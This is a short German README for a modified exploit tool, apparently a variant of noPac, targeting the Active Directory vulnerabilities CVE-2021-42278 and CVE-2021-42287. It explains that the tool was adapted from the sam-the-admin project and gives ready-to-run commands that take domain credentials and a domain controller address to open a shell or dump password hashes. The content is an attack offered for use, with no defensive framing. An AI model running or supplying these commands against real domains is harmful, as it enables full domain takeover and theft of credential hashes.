
Ausnutzen von CVE-2021-42278 und CVE-2021-42287
Ausnutzung von CVE-2021-42278 und CVE-2021-42287
Das ursprüngliche noPac-Projekt hatte möglicherweise Implementierungsprobleme, sodass es lokal nicht durchlief. Daher wurde es in Anlehnung an das sam-the-admin-Projekt modifiziert.
pip3 install -r requirements.txt
# GetShell
python3 exp.py "domain/Username:Passw0rd" -dc-ip 192.168.0.254 -shell
# DumpHash
python3 exp.py "domain/Username:Passw0rd" -dc-ip 192.168.0.254 -dump
https://github.com/cube0x0/noPac
https://github.com/WazeHell/sam-the-admin